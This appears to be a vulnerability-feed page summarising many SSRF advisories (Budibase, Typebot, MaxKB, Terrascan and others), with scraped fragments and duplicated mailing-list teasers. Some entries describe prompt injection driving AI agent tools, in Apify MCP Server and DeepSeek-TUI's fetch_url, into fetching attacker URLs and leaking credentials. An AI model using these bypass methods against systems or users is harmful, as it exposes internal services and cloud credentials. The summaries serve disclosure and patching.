Server-Side Request Forgery

PyJWKClient in PyJWT prior to 2.13.0 passes attacker-influenced URIs directly to Python's urllib.request.urlopen() without restricting URI schemes, enabling Server-Side Request Forgery (SSRF) across file://, FTP, and data-URI schemes against applications that accept untrusted jku values. Affected deployments include any Python application using PyJWKClient where the jku URL originates from a JWT header, OAuth flow parameter, or externally influenced configuration. No public exploit exists and no CISA KEV listing is present; real-world exploitation is constrained by a CVSS-confirmed high attack complexity (AC:H) and required user interaction (UI:R), making opportunistic mass exploitation unlikely.

Server-side request forgery in FlowIntel up to version 3.3.0 allows a low-privileged authenticated user to coerce the application server into issuing HTTP HEAD requests to attacker-specified destinations-including loopback addresses, RFC 1918 private ranges, link-local cloud metadata endpoints, and other restricted network resources-via the external reference URL probe feature in app/case/task.py. The root cause is absent URL scheme filtering and missing resolved-IP validation before the outbound request is dispatched. No public exploit has been identified at time of analysis and the CVE is not listed in CISA KEV, though the upstream fix commit confirms the flaw's existence and scope.

Server-Side Request Forgery in Independent Analytics (WordPress plugin, all versions through 2.14.9) enables unauthenticated remote attackers to inject arbitrary referrer domains into the site's analytics database and subsequently trigger server-side HTTP requests to any host - including internal network services and cloud metadata endpoints. The exploit chain combines a bypassable signature check on the public /wp-json/iawp/search REST endpoint (static salt embedded in publicly-accessible JavaScript) with a scheduled favicon fetcher that issues raw cURL requests with zero SSRF mitigations. No public exploit is identified at time of analysis and the vulnerability is not listed in CISA KEV, but CVSS PR:N/AC:L indicates exploitation requires no authentication and minimal complexity, particularly threatening for WordPress deployments on cloud infrastructure.

Pre-NVD disclosure via oss-security: oss-security mailing list - 2026/05/26. controlled paths outside the extraction … (Stig Palmquist <stig@...g.io>) CVE-2026-9538: Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar… (Stig Palmquist <stig@...g.io>) qSnapper: Various Security Issues in Privileged D-Bus Service (CVE-2026-41045 through CVE-2026-41048) (Matthias Gerstner <mgerstner@...e.de>) CVE-2026-40564: Apache Flink Kubernetes Operator: Server-Side Request Forgery and local file access in Kubernetes Operator (Gyula Fora <gyfora@...che.org>) CVE-2026-46740: Mojolicious::Plugin::Statsd versions through 0.04 for Perl allo

Pre-NVD disclosure via oss-security: oss-security mailing list - 2026/05/26. e the extraction … (Stig Palmquist <stig@...g.io>) CVE-2026-9538: Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar… (Stig Palmquist <stig@...g.io>) qSnapper: Various Security Issues in Privileged D-Bus Service (CVE-2026-41045 through CVE-2026-41048) (Matthias Gerstner <mgerstner@...e.de>) CVE-2026-40564: Apache Flink Kubernetes Operator: Server-Side Request Forgery and local file access in Kubernetes Operator (Gyula Fora <gyfora@...che.org>) CVE-2026-46740: Mojolicious::Plugin::Statsd versions through 0.04 for Perl allowed metric injections (

Server-side request forgery in Budibase before 3.39.0 lets a builder-level user coerce the server into sending POST requests to arbitrary internal or external destinations. The flaw lives in the OAuth2 SDK's fetchToken function, which issues outbound requests via plain node-fetch and bypasses the blacklist.isBlacklisted guard that every other outbound path enforces, while the Joi validation on the OAuth2 token URL imposes no scheme or host restriction. No public exploit identified at time of analysis, and the issue is fixed in 3.39.0.

Server-Side Request Forgery in Budibase's VectorDB configuration endpoint (versions prior to 3.35.3) allows authenticated builder-level users to supply arbitrary host values - including cloud metadata addresses such as 169.254.169.254 or localhost - causing the server to initiate outbound TCP connections to internal network resources on the attacker's behalf. No public exploit has been identified at time of analysis, though SSVC classifies exploitation status as 'poc', indicating proof-of-concept material exists. In cloud-hosted deployments, the real-world impact exceeds what the CVSS 5.3 score implies, as metadata endpoint access can expose instance credentials and enable privilege escalation.

Server-side request forgery in Budibase before 3.39.0 lets an authenticated user with the BUILDER role coerce the platform into making attacker-controlled outbound requests by setting a malicious OAuth2 token endpoint URL. Because the token fetch path bypassed the codebase's existing SSRF-blocking HTTP wrapper, responses from internal-only services such as the CouchDB database or cloud instance metadata endpoints can be exfiltrated. No public exploit identified at time of analysis, but the flaw is straightforward to trigger and EPSS/KEV signals were not supplied.

Server-side request forgery in Budibase's automation engine (versions prior to 3.39.0) allows high-privileged authenticated users to redirect outbound HTTP requests from the Budibase server to attacker-controlled internal destinations by supplying an unvalidated queryId in the executeQuery automation step. When paired with a REST datasource pointed at internal infrastructure, automation execution causes the server to fetch arbitrary internal URLs and return their responses to the caller, potentially leaking sensitive internal service data. A proof-of-concept exists per SSVC assessment; no confirmed active exploitation or CISA KEV listing at time of analysis.

Server-Side Request Forgery in Jenkins Active Directory Plugin 2.41 and earlier enables a highly privileged attacker to abuse the plugin's default LDAP referral-following behavior to force Jenkins to issue out-of-band requests to attacker-controlled or internal network hosts. The vulnerability (CWE-918) stems from the plugin not restricting LDAP referrals by default, which can be weaponized to pivot from the Jenkins server into internal infrastructure. No public exploit code exists and SSVC confirms no known active exploitation, but the technical impact is rated total - confidentiality, integrity, and availability are all at risk if exploitation succeeds.

Unconstrained LDAP referral following in Jenkins LDAP Plugin (≤ 807.v7d7de30930cf) enables Server-Side Request Forgery, allowing a highly privileged attacker who controls LDAP configuration to force the Jenkins server to initiate connections to arbitrary internal hosts by supplying a malicious LDAP server that returns crafted referrals. The CVSS score of 6.6 reflects genuine constraints: network-reachable but requiring both high privileges and high attack complexity, with High confidentiality, integrity, and availability impact if those barriers are cleared. SSVC assessment confirms no current exploitation and a non-automatable attack path, though technical impact is rated total; no public exploit code has been identified at time of analysis.

Server-side request forgery in GitHub Enterprise Server lets an unauthenticated attacker coerce the appliance into issuing crafted requests to internal services, reachable through an upload endpoint that fails to validate input. By injecting path-traversal content into request parameters, an attacker can redirect internal API calls to reach back-end services and harvest sensitive credentials. No public exploit identified at time of analysis; the issue was reported through the GitHub Bug Bounty program and carries a CVSS 4.0 base score of 9.2 (Critical), though the vector flags high attack complexity and an extra attack requirement that temper real-world ease of exploitation.

Server-Side Request Forgery in GitHub Enterprise Server lets an attacker coerce the appliance into issuing HTTP requests to internal services through the security advisories package-lookup feature, then use response-timing differences as an oracle to infer sensitive environment variables such as signing secrets and private keys. All versions prior to 3.21.1 are affected, and exploitation is unauthenticated on instances not running in private mode (GitHub Packages must be enabled), or available to any authenticated user otherwise. No public exploit identified at time of analysis; the issue was reported through the GitHub Bug Bounty program and carries a CVSS 4.0 base score of 7.0.

Authenticated SSRF bypass in MaxKB's OSS file service URL fetch allows low-privilege users to reach internal network services by exploiting inconsistent DNS resolution between validation and request execution. MaxKB 2.8.0 and all prior versions are affected; the attacker causes the validation step to resolve a domain to a public IP, then swaps the DNS record so the actual HTTP fetch resolves to an internal address, bypassing the SSRF filter entirely. No public exploit has been identified and this CVE is not listed in CISA KEV; a vendor-released patch (2.8.1) is available.

Server-Side Request Forgery in MaxKB before 2.9.1 allows authenticated users to pivot into internal network infrastructure by supplying arbitrary URLs to the work_flow_template import endpoint. The server fetches attacker-controlled URLs without validation or internal IP filtering, enabling reconnaissance of internal services, cloud metadata endpoints, or other resources unreachable from the public internet. The CVSS 4.0 score of 6.3 is driven primarily by high subsequent-system confidentiality impact (SC:H), reflecting the lateral reach into backend infrastructure that SSRF typically enables. No public exploit code or active exploitation has been identified at time of analysis.

Server-side request forgery in MaxKB v2.8.0 and earlier allows authenticated low-privilege users to reach internal network services by exploiting an URL parsing inconsistency at the OSS file fetch endpoint. The discrepancy between Python's urlparse validation logic and the requests HTTP client means a crafted URL can pass security checks yet still route to internal infrastructure when executed by the server. No public exploit or KEV listing exists at time of analysis; the vendor has confirmed and patched the issue in 2.8.1.

Files or Directories Accessible to External Parties, Server-Side Request Forgery (SSRF) vulnerability in Apache Flink Kubernetes Operator. The FlinkSessionJob jarURI is currently not validated so that it points to user-owned files or addresses.  This lets a user with CR create permissions read files from the operator pod's filesystem and pull content from any backing store reachable through Flink's pluggable filesystem layer and access them through the submitted Flink job. Furthermore for fetching from http/https addresses there is currently no allowlist on the URI scheme, no host check, no IP-range restriction, and no protection against pointing the URI at internal or link-local addresses.This issue affects Apache Flink Kubernetes Operator: from 1.3.0 before 1.15.0. Users are recommended to upgrade to version 1.15.0, which fixes the issue.

With valid login credentials, URL Redirection to Untrusted Site ('Open Redirect'), Server-Side Request Forgery (SSRF) vulnerability in Apache Shiro. This issue affects Apache Shiro from 2.0-alpha to 2.1.0, and 3.0.0-alpha-1, only when using shiro-jakarta-ee integration module. Users are recommended to upgrade to version 2.1.1, or 3.0.0-alpha-2 or later, which fixes the issue by encrypting the cookie. After successful login, Jakarta EE integration module uses shiroSavedRequest cookie to redirect to a particular web page after login. This cookie was not validated, and can be forged to send a HTTP GET request from the server itself to an arbitrary URL from the cookie.

Server-side request forgery (SSRF) in ItzCrazyKns Vane through version 1.12.1 enables unauthenticated remote attackers to manipulate the baseURL parameter in the Model Provider API, potentially accessing internal resources and services. The exploit has been publicly disclosed via a GitHub issue, and the CVSS temporal score indicates proof-of-concept code exists (E:P). The vendor was notified but has not yet responded or released a patch.

Command injection in Prefect 3.6.18's GitHub integration allows authenticated users to execute arbitrary git commands through the unsanitized reference field. The GitHubRepository block concatenates user input directly into git clone commands, enabling attackers to inject malicious options that can lead to SSRF, credential theft, or remote code execution. While no active exploitation is confirmed, the straightforward attack vector and high impact make this a priority for organizations using Prefect's GitHub integration features.

Server-side request forgery in Cal.com cal.diy versions up to 4.9.4 enables authenticated attackers to make the server perform arbitrary HTTP requests to internal or external systems via the Logo API endpoint. The vulnerable validateUrlForSSRF function in apps/web/app/api/logo/route.ts insufficiently validates user-supplied URLs, allowing bypass of SSRF protections. Public exploit code exists (EPSS data not provided), though exploitation complexity is high (CVSS AC:H) requiring low-level privileges and technical sophistication. The vendor received early notification but has not responded or released a patch.

Cross-tenant remote code execution in Nezha Monitoring dashboard (versions >= 1.4.0, < 1.14.15-0.20260517022419-d7526351cf97) allows any authenticated RoleMember user to execute arbitrary shell commands as root on every monitored agent host in the deployment. The flaw stems from cron API endpoints being gated by commonHandler instead of adminHandler, combined with a vacuous-true permission check when the Servers list is empty, enabling fanout to all tenants' servers. No public exploit identified at time of analysis, but a complete proof-of-concept is included in the GitHub Security Advisory.

Server-Side Request Forgery in aiograpi before 0.9.10 allows an adjacent-network attacker to redirect Instagram challenge-handling HTTP requests to arbitrary attacker-controlled hosts, exfiltrating the client's active session headers including authentication tokens. The library trusted server-supplied signup challenge paths and used them verbatim to construct outbound URLs without first verifying the path remained within Instagram's API domain. No public exploit code has been identified and this CVE does not appear in the CISA KEV catalog, but the high confidentiality impact (CVSS C:H) reflects that session credential theft is the direct outcome of a successful attack.

Server-side request forgery in Nezha monitoring dashboard allows authenticated low-privilege RoleMember users to coerce the server into issuing arbitrary HTTP/HTTPS requests via POST /api/v1/notification and PATCH /api/v1/notification/:id, with full unbounded response bodies reflected back through error messages. The flaw stems from the notification routes being wired through commonHandler instead of adminHandler, exposing an intranet read primitive (admin panels, cloud metadata endpoints like IMDSv2) plus a memory-exhaustion DoS via unbounded io.ReadAll. Publicly available exploit code exists in the GHSA advisory; no public exploit identified in active campaigns at time of analysis.

Server-side request forgery in Typebot versions 3.15.2 and prior allows authenticated users to bypass the validateHttpReqUrl() SSRF filter by chaining an attacker-controlled HTTP 302 redirect, since the underlying ky and fetch clients follow redirects without re-validating the destination. This enables reaching AWS instance metadata at 169.254.169.254, private subnets, and container-internal services from the Typebot server, with realistic impact including theft of cloud IAM credentials. No public exploit identified at time of analysis, and the issue is fixed in version 3.16.0.

Server-side request forgery in Typebot chatbot builder versions prior to 3.16.0 allows authenticated users to bypass SSRF protections in Webhook and HTTP Request blocks by supplying attacker-controlled hostnames that resolve via DNS to loopback (127.0.0.1), cloud metadata (169.254.169.254), or RFC1918 private addresses. The validation logic only inspected the URL string and literal IP formats without performing DNS resolution, so a benign-looking domain could route the backend HTTP client to internal targets. No public exploit identified at time of analysis, though the GitHub Security Advisory and fix commit are publicly visible.

Server-Side Request Forgery in Typebot chatbot builder versions 3.15.2 and prior allows unauthenticated remote attackers to abuse the preview chat endpoint to make arbitrary internal HTTP requests from the server. The flaw stems from the isolated-vm sandbox's fetch function calling Node.js native fetch without the SSRF validation (validateHttpReqUrl) that protects HTTP Request blocks, bypassing mitigations added after GHSA-8gq9-rw7v-3jpr. No public exploit identified at time of analysis, but the CVSS 10.0 (Critical) score with scope-changed impact indicates severe risk for both self-hosted and hosted deployments.

Improper authorization in the Active Directory browsing feature in Devolutions Server allows a low-privileged authenticated user to obtain authentication material associated with a stored PAM provider service account via authentication relay to an attacker-controlled server. This issue affects : * Devolutions Server 2026.1.6.0 through 2026.1.16.0 * Devolutions Server 2025.3.20.0 and earlier

Blind Server-Side Request Forgery in FluentCRM (WordPress plugin, all versions ≤2.9.87) allows unauthenticated remote attackers to coerce the web server into issuing arbitrary HTTP requests via the 'SubscribeURL' parameter in SES bounce handling. Exploitation is constrained to sites where the SES bounce handling key has never been initialized - a default state that persists until an administrator visits the bounce configuration page. Successfully exploited, this flaw can be used to probe and interact with internal services (cloud metadata endpoints, intranet APIs, adjacent containers), achieving limited but meaningful confidentiality and integrity impact across a changed scope. No public exploit or CISA KEV listing exists at time of analysis, though source code references expose the vulnerable code path directly.

Server-side request forgery in Concrete CMS 9.5.0 and earlier allows authenticated high-privileged page editors to direct the application server to fetch attacker-controlled URLs via the RSS Displayer block, with redirect-following behavior bypassing input validation to reach internal network resources. The CVSS v4.0 score of 2.1 (PR:H, AT:P) reflects that exploitation is constrained to users already holding page editor privileges and requires the RSS Displayer block to be in active use. No public exploit has been identified and this vulnerability is not listed in CISA KEV, placing it in a low real-world priority tier absent insider-threat or post-compromise scenarios.

IPv6 transition-form SSRF in Pydantic AI bypasses the cloud-metadata blocklist introduced as a fix for CVE-2026-25580, exposing cloud IAM short-term credentials on dual-stack and translated networks. The bypass affects pydantic-ai and pydantic-ai-slim deployments that explicitly opt FileUrl-family types into force_download='allow-local' on URLs reachable by untrusted input - a materially narrower attack surface than its parent CVE, reflected in the AC:H rating versus the parent's AC:L. CVSS 6.8 (High) with Changed scope captures that a successful attack escapes the application boundary to reach cloud metadata services; no public exploit code and no CISA KEV listing have been identified at time of analysis.

Blind Server-Side Request Forgery in FlaskBB's avatar URL handling allows any authenticated user to force the server to issue arbitrary HTTP GET requests to internal network endpoints, including cloud instance metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure equivalents). All versions up to and including 2.2.0 of the pip-distributed FlaskBB package are affected, with no vendor-released patch available at time of analysis. A proof-of-concept is publicly available via the GitHub Security Advisory, and three distinct exploitation channels have been demonstrated: direct credential exfiltration from cloud metadata services, internal port scanning via differential error responses, and triggering of internal APIs (Elasticsearch, etcd, Consul, CI/CD webhooks).

Disk exhaustion denial of service in NocoDB's v1/v2 attachment upload-by-URL API allows authenticated users with Editor-level privileges or higher to direct the server to fetch arbitrarily large remote files, consuming all available disk space. The root cause is missing enforcement of the NC_ATTACHMENT_FIELD_SIZE configuration limit in attachments.service.ts for the v1/v2 code paths, despite the v3 equivalent already implementing the constraint correctly. Cascading failures follow disk exhaustion: database writes block, log rotation fails, and the application itself may crash - making this a high-availability-impact issue for any NocoDB deployment with untrusted authenticated users.

SSRF protection bypass in NocoDB's notification webhook plugins (Slack, Discord, Mattermost, Teams) allows authenticated Editor-level users to issue outbound POST requests to arbitrary internal hosts, including cloud-metadata endpoints. The root cause is a misplaced axios argument: `httpAgent`/`httpsAgent` were serialized into the request body instead of being passed as axios connection config, rendering the `request-filtering-agent` SSRF guard entirely ineffective across all four plugins. No public exploit has been identified at time of analysis, and this vulnerability is not listed in the CISA KEV catalog.

Server-Side Request Forgery (SSRF) and local file read in KnpLabs Snappy (composer package knplabs/knp-snappy <= 1.6.0) allows remote attackers to exfiltrate sensitive server files by injecting a file:// URI into the xsl-style-sheet PDF generation option. When applications pass unsanitized user input directly to the Snappy library's generate() method, wkhtmltopdf processes attacker-controlled URIs including file:// scheme paths, enabling reads of files such as /etc/passwd. No public exploit has been identified at time of analysis, and this is not listed in CISA KEV, but the attack pattern is straightforward and exploitability is high in vulnerable deployments where PHP runs as root outside a container.

Redirect-based SSRF bypass in pyload-ng's parse_urls API allows authenticated attackers with ADD permission to probe internal network services and cloud metadata endpoints by chaining an open redirect through an attacker-controlled host. The prior SSRF fix (commit 33c55da, GHSA-7gvf-3w72-p2pg) correctly hardened HTTPChunk but left HTTPRequest used by RequestFactory.get_url() with allow_private_ip=True, rendering the is_global_host() check on the initial URL ineffective against 302 redirects to private IP space. A public proof-of-concept exploit exists demonstrating exfiltration of AWS IMDSv1 metadata; no public exploit identified at time of analysis for active in-the-wild exploitation, and CVE-2026-46561 is not listed in the CISA KEV catalog.

Two-layer blind SSRF in Crawlee for Python (pip/crawlee >= 1.0.0, < 1.7.0) allows an attacker who controls a sitemap or robots.txt file to force the crawler to issue HTTP requests against internal network services (layer 1, all HTTP clients), and - when CurlImpersonateHttpClient is configured - to dispatch non-HTTP scheme requests including gopher://, file://, dict://, and ftp:// (layer 2). The layer 2 escalation enables canonical Redis exploitation via gopher://, making RCE on unauthenticated internal Redis instances achievable from a public-facing crawler. No public exploit code has been identified at time of analysis and this CVE is not listed in the CISA KEV catalog, but the researcher-credited advisory details a fully articulated attack path including Redis RCE.

Server-side request forgery in the Nexa Blocks WordPress plugin (versions up to and including 1.1.1) exposes internal network infrastructure to unauthenticated remote attackers by combining an unvalidated URL passthrough with a publicly leaked authentication nonce. The plugin's import_demo() function at template.php:242 forwards an attacker-supplied URL directly to WordPress's wp_remote_get() with no scheme restriction, host allowlist, or RFC-1918 blocklist, and the nexa_blocks_nonce that gates this AJAX endpoint is serialized into every public-facing page's HTML via wp_localize_script, nullifying the intended access control entirely. No public exploit has been identified at time of analysis and this is not listed in CISA KEV, but the effective authentication bypass and trivial exploitation path elevate practical risk substantially above what the CVSS 5.4 score alone communicates.

Server-Side Request Forgery in @angular/platform-server allows remote attackers to hijack the server-side rendering (SSR) hostname by supplying an absolute-form URL, causing relative HttpClient requests and PlatformLocation.hostname references to resolve against an attacker-controlled domain. The flaw affects Angular SSR applications that pass an unvalidated request URL into renderModule or renderApplication, enabling pivoting to internal APIs or cloud metadata endpoints. No public exploit identified at time of analysis, and the issue is not listed in CISA KEV.

Server-side request forgery in SillyTavern 1.17.0 allows authenticated low-privilege users to coerce the server into making arbitrary HTTP requests against internal or loopback addresses via the /api/search/searxng endpoint's unvalidated baseUrl parameter, returning response bodies to the attacker. The flaw was addressed in 1.18.0, which introduced an opt-in Private Request Whitelisting filter (disabled by default). Publicly available exploit code exists in the GitHub Security Advisory GHSA-qg89-qwwh-5f3j, but no public exploit identified at time of analysis as actively exploited.

Unauthenticated semi-blind Server-Side Request Forgery in Coder's Azure instance identity endpoint allows any remote attacker to force the Coder server to issue HTTP GET requests to arbitrary internal or external hosts, enabling internal network reconnaissance, cloud metadata service probing (e.g., 169.254.169.254), and error-based information disclosure of network topology. The vulnerability exists across all supported Coder release lines prior to v2.29.13/v2.30.8/v2.31.12/v2.32.2/v2.33.3/v2.24.5 (ESR), and has been patched in GitHub PR #25274. No public exploit code has been identified at time of analysis, and the vulnerability is not listed in the CISA KEV catalog.

Domain allowlist bypass in Apify MCP Server's fetch-apify-docs tool (npm/@apify/actors-mcp-server < 0.9.21) enables prompt injection against LLM agents by allowing attacker-controlled URLs to pass a flawed string prefix check. The tool validates requested URLs with String.startsWith() rather than parsing the URL hostname, so crafted URLs like https://docs.apify.com.evil.com/ satisfy the check while resolving to an attacker-controlled server. Publicly available exploit code (PoC) exists per the GitHub advisory GHSA-jwp7-wg77-3w9v; no CISA KEV listing at time of analysis, though the prompt injection vector can escalate to Apify account compromise via injected token redirection.

Server-Side Request Forgery in Tenable Terrascan v1.18.3 and prior allows unauthenticated remote attackers to coerce the server into fetching arbitrary URLs, including file:// URIs that enable local file disclosure. The flaw is triggered when Terrascan runs in server mode and parses uploaded ARM or CloudFormation templates whose templateLink.uri, parametersLink.uri, or AWS::CloudFormation::Stack TemplateURL fields point to attacker-controlled destinations. No public exploit identified at time of analysis, and because Terrascan was archived in August 2023, no patch will ever be released.

Server-Side Request Forgery in Tenable's Terrascan IaC scanner (versions 1.18.3 and prior) lets unauthenticated remote attackers read arbitrary local files and exfiltrate ~/.netrc credentials when the tool runs in server mode. Because Terrascan was archived in August 2023, no vendor patch will ever be released, and the daemon binds to 0.0.0.0 with no authentication by default. No public exploit identified at time of analysis, but the CVSS 4.0 score of 9.2 reflects trivial network-reachable abuse paired with significant confidentiality scope change.

Server-Side Request Forgery in Terrascan up to v1.18.3 lets unauthenticated remote attackers coerce the scanner's HTTP client to POST full IaC scan results - along with an attacker-chosen Bearer token in the Authorization header - to any URL supplied via the webhook_url multipart parameter. Because Terrascan was archived by Tenable in August 2023, no vendor patch will be released, leaving every existing server-mode deployment permanently exposed. No public exploit identified at time of analysis and the CVE is not on CISA KEV, but the trivial exploit primitive (a single multipart POST) makes weaponization straightforward.

{id}/html-check`, making this a zero-credential pivot primitive into internal infrastructure. Publicly available exploit code exists; no confirmed active exploitation in CISA KEV at time of analysis.

Server-Side Request Forgery in HAXcms (haxcms-nodejs <= 25.0.0) allows authenticated users to coerce the server into fetching arbitrary URLs or local file paths via the createSite endpoint's build.files parameter, with responses written to a web-accessible directory. Exploitation yields arbitrary file read, internal network reconnaissance, and exfiltration of cloud metadata credentials such as AWS IAM tokens from 169.254.169.254. A detailed proof-of-concept is published in the GitHub Security Advisory GHSA-q862-gcgq-5m6g, though no public exploit identified at time of analysis as a standalone weaponized tool.

Server-Side Request Forgery (SSRF) vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

Server-Side Request Forgery (SSRF) vulnerability in Apache OFBiz via Content component operations. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

Server-side request forgery in AutoGPT Platform versions 0.1.0 through 0.6.51 allows any authenticated user on a shared deployment to conduct non-blind internal network port scanning and service fingerprinting by exploiting the SendEmailBlock's unvalidated SMTP connection handling. The block accepts user-supplied smtp_server and smtp_port inputs and passes them directly to Python's smtplib.SMTP(), completely bypassing the platform's dedicated SSRF defenses - the validate_url_host() function and BLOCKED_IP_NETWORKS blocklist in backend/util/request.py that every other block observes. Because smtplib surfaces TCP banners in exception messages that are persisted as visible block output, this is a non-blind SSRF, giving attackers readable reconnaissance data about internal hosts and services. No public exploit identified at time of analysis; vendor-released patch is confirmed in version 0.6.52.

Server-side request forgery in scalar/astro v0.1.13 allows remote unauthenticated attackers to coerce the backend into making HTTP requests to attacker-controlled destinations via the scalar_url query parameter of the Scalar Proxy endpoint. Exploitation can expose authentication cookies and headers forwarded by the proxy, enabling account takeover and potential privilege escalation. Publicly available exploit code exists, though EPSS is low (0.03%) suggesting limited mass exploitation at this time.

Server-side request forgery in the Summarize browser extension prior to version 0.15.2 allows malicious web pages to coerce the extension's hover summary feature into issuing authenticated requests to local or private-network URLs via the user's daemon. The flaw stems from the extension processing synthetic mouseover events without verifying their trustworthiness, enabling attacker-controlled links to route authenticated daemon requests using stored tokens. No public exploit identified at time of analysis, but a vendor patch is available and the issue was reported by VulnCheck.

Server-side request forgery in Dozzle (amir20/dozzle) versions through 8.14.12 allows remote unauthenticated attackers to coerce the Dozzle host into issuing arbitrary HTTP POST requests and reflects up to 1MB of the response body back. The flaw lives in POST /api/notifications/test-webhook, which is exposed without authentication in the documented default Docker quickstart deploy (DOZZLE_AUTH_PROVIDER unset). No public exploit identified at time of analysis, but a detailed proof-of-concept accompanies the GHSA advisory.

Server-Side Request Forgery in Statamic CMS's Glide image proxy allows unauthenticated remote attackers to bypass IP validation and force the server to issue HTTP requests to internal infrastructure, including loopback addresses, RFC-1918 private networks, and cloud metadata endpoints such as AWS IMDSv1 (169.254.169.254). The bypass exploits unnormalized alternative IP representations (e.g., octal, hexadecimal, decimal-encoded) that evade the public-IP allowlist check before PHP normalizes them. Only deployments running PHP below 8.3 and passing user-supplied URLs to Glide are exposed; vendor-released patches exist in versions 5.73.22 and 6.18.1. No public exploit or CISA KEV listing has been identified at time of analysis.

Off-host request forgery in the Faraday Ruby HTTP client library (versions 2.0.0-2.14.1) allows a remote unauthenticated attacker who can influence the per-request target to redirect HTTP requests - along with connection-scoped `Authorization` headers - to an arbitrary attacker-controlled host. This is a bypass of the February 2026 patch for CVE-2026-25765 (GHSA-33mh-2634-fwr2): the prior fix sanitized `String` inputs to `Faraday::Connection#build_exclusive_url` but failed to handle `URI` objects, which Ruby's URI parser resolves differently. Publicly available exploit code (proof-of-concept) exists and was independently confirmed against an external HTTP collector, demonstrating real-world credential exfiltration.

Server-Side Request Forgery in the Spring AI Community mcp-security framework (org.springaicommunity:mcp-client-security versions before 0.1.9) allows remote attackers to coerce the MCP client into issuing HTTP requests to attacker-chosen URLs, including internal network targets. The flaw resides in the OAuth2 Dynamic Client Registration (DCR) flow, which fetches metadata and authorization-server URLs without validating them against SSRF protections required by the MCP security specification. No public exploit identified at time of analysis, but a vendor-confirmed patch is available in version 0.1.9.

Server-Side Request Forgery in Mattermost 10.11.x through 11.5.1 allows authenticated attackers with slash command access to redirect custom slash command responses to attacker-controlled servers by manipulating the Host header. The vulnerability requires low-privileged authentication and high attack complexity (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N), resulting in a CVSS score of 3.5. No public exploit code or active exploitation via CISA KEV has been identified at time of analysis. Vendor advisory available at mattermost.com/security-updates provides remediation guidance.

Server-side request forgery in Vercel AI SDK versions up to 3.0.97 allows remote unauthenticated attackers to forge requests from the server to arbitrary internal or external resources via the validateDownloadUrl function in provider-utils. Publicly available exploit code exists (CVSS E:P). EPSS data not available, not listed in CISA KEV. Vendor unresponsive to disclosure, indicating no official patch or advisory at time of analysis. Organizations using affected versions for AI model downloads or blob handling should implement immediate compensating controls.

Server-side request forgery in CoreWorxLab CAAL versions up to 1.6.0 enables unauthenticated remote attackers to make arbitrary HTTP requests from the server through the test-hass endpoint in webhooks.py. The vulnerability has publicly available exploit code and allows attackers to access internal resources, potentially leading to data exposure or further compromise of internal systems. EPSS data not available, not currently in CISA KEV despite public exploit availability.

Budibase servers before version 3.38.1 allow any authenticated application user to modify datasource connection parameters through the REST API endpoint PUT /api/datasources/:datasourceId, which requires only basic TABLE/READ permissions instead of builder-level access. This authorization bypass enables attackers with minimal BASIC role privileges to redirect PostgreSQL, MySQL, MongoDB, or REST datasources to arbitrary hosts and ports, creating server-side request forgery (SSRF) conditions that bypass existing HTTP-layer protections for SQL driver connections. The vulnerability has been assigned CVSS 8.8 (High) and is fixed in Budibase 3.38.1.

Budibase's REST datasource integration before version 3.38.1 bypasses IP blacklist security controls through HTTP redirect following. Authenticated Builder-level users can exploit this to access cloud metadata services and internal databases by redirecting requests through attacker-controlled servers, potentially stealing AWS/GCP/Azure credentials. This vulnerability class was previously fixed in automation steps but the REST integration was overlooked, creating an inconsistent security posture.

Server-Side Request Forgery (SSRF) in Budibase's AI Extract File automation step allows authenticated users with builder permissions to bypass IP blacklist protections and access internal resources. The vulnerability exists because the processUrlFile function uses fetch() directly without the fetchWithBlacklist() validation that protects all other automation steps, enabling attacks on cloud metadata endpoints (169.254.169.254), internal APIs, and private networks. Fixed in version 3.34.8.

XML External Entity (XXE) injection in Oinone Pamirs 7.0.0 allows remote unauthenticated attackers to disclose local files or perform Server-Side Request Forgery (SSRF) attacks via malicious XML input to unsafe XStream parsing entry points (PamirsXmlUtils.fromXML, ViewXmlUtils.fromXML). The vulnerability has network attack vector with low complexity (CVSS:3.1 AV:N/AC:L/PR:N) and is automatable per SSVC framework, though no active exploitation or public POC has been confirmed at time of analysis. EPSS data not available; CISA KEV status: not listed.

Server-Side Request Forgery in @utcp/http <= 1.1.1 allows remote attackers to redirect tool invocations to internal services via malicious OpenAPI specs. An attacker hosting a malicious OpenAPI specification on a legitimate HTTPS endpoint can declare internal server URLs (e.g., http://127.0.0.1:9090 or http://169.254.169.254) in the servers array; the OpenApiConverter blindly trusts these URLs without revalidation during tool invocation, enabling access to cloud metadata endpoints, internal databases, and loopback services. Additionally, a prefix-bypass in hostname validation (startsWith check) allows URLs like http://localhost.evil.com to bypass discovery-time restrictions. Patch version 1.1.2 is available.

Server-Side Request Forgery in DeepSeek-TUI's fetch_url tool allows remote attackers to bypass IPv6 SSRF protections and access local restricted resources. The vulnerability exists in versions prior to 0.8.26 where supplying IPv6 addresses in bracket notation (http://[::1]) circumvents hostname-based validation that only checks resolved addresses, not literal IPv6 URLs. Public exploit code exists with a working proof-of-concept requiring only user interaction to trigger via a malicious prompt. CVSS score of 7.4 reflects high confidentiality impact with scope change, though EPSS data is not available for this recently disclosed vulnerability.

HTTP redirect bypass in DeepSeek TUI's fetch_url tool allows Server-Side Request Forgery (SSRF) against cloud metadata endpoints and internal services. The tool validates only the initial URL against restricted IP blocklists but automatically follows up to 5 HTTP redirects without re-validation, enabling attackers to exfiltrate AWS/GCP/Azure IAM credentials and instance metadata via prompt injection attacks. Vendor-released patch available in version 0.8.22. No active exploitation confirmed (not in CISA KEV), but detailed proof-of-concept exists in public advisory demonstrating successful bypass of SSRF protections.

Open WebUI versions through 0.8.11 allow authenticated users to execute arbitrary Python code in the Jupyter container by bypassing the ENABLE_CODE_EXECUTION=false configuration flag. The /api/v1/utils/code/execute endpoint fails to enforce the admin-configured feature gate (CWE-863: Incorrect Authorization), enabling any verified user to run code even when administrators believe execution is disabled. The vulnerability is confirmed by vendor POC (verified 2026-03-25) demonstrating successful code execution, file access, and SSRF to internal Docker services despite explicit admin configuration disabling the feature. Vendor-released patch available in v0.8.12 (commit 6d736d3c5) enforces the configuration check before dispatching code to Jupyter.

